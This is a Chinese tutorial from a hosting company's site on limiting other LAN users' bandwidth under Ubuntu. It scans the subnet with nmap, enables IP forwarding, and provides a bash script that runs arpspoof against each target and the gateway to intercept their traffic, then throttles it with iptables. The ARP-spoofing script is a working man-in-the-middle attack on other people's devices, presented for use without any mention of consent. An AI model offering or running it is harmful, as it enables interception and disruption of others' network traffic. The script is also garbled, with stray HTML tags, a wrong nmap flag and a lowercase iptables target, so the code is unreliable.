您好,登錄后才能下訂單哦!
這篇文章主要講解了“Ubuntu下怎么限制局域網網速”,文中的講解內容簡單清晰,易于學習與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學習“Ubuntu下怎么限制局域網網速”吧!
為了限制無線路由器上大家的上網速度,減少p2p工具的影響
可以通過arp欺騙和iptables來限制局域網的上網速度
操作系統:Ubuntu
1)sudo apt-get install dsniff nmap
2)探測局域網主機的ip地址
代碼如下:
sudo nmap -ss 網關ip/24
在此例中:
192.168.1.100 為要限速的主機
192.168.1.1 為網關地址
3)打開 內核的 IP 轉發,讓我們的主機成為路由器
代碼如下:
echo 1 > /proc/sys/net/ipv4/ip_forward
4)使用 iptables和arpspoof進行 限速! 腳本如下
使用方式:
sudo ./iptable.sh 要限的速度(30為40k/s) 網關ip 限速主機1 限速主機2
代碼如下:
#!/bin/bash
if [ $# -le 2 ]
then
echo "Usage: ./iptables.sh speed gateway ip1 ip2 ...."
exit -1
else
speed=$1
gateway=$2
fi
IPT=/sbin/iptables</p>
<p>while [ $# -gt 2 ]
do
shift
echo $gateway,$2
arpspoof -i eth0 -t $2 $gateway&
arpspoof -i eth0 -t $gateway $2&</p>
<p> $IPT -A FORWARD -s $2 -m limit --limit ${speed}/s -j accept</p>
<p> $IPT -A FORWARD -d $2 -m limit --limit ${speed}/s -j ACCEPT</p>
<p> $IPT -A FORWARD -s $2 -j DROP</p>
<p> $IPT -A FORWARD -d $2 -j DROP</p>
<p>done
感謝各位的閱讀,以上就是“Ubuntu下怎么限制局域網網速”的內容了,經過本文的學習后,相信大家對Ubuntu下怎么限制局域網網速這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是億速云,小編將為大家推送更多相關知識點的文章,歡迎關注!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。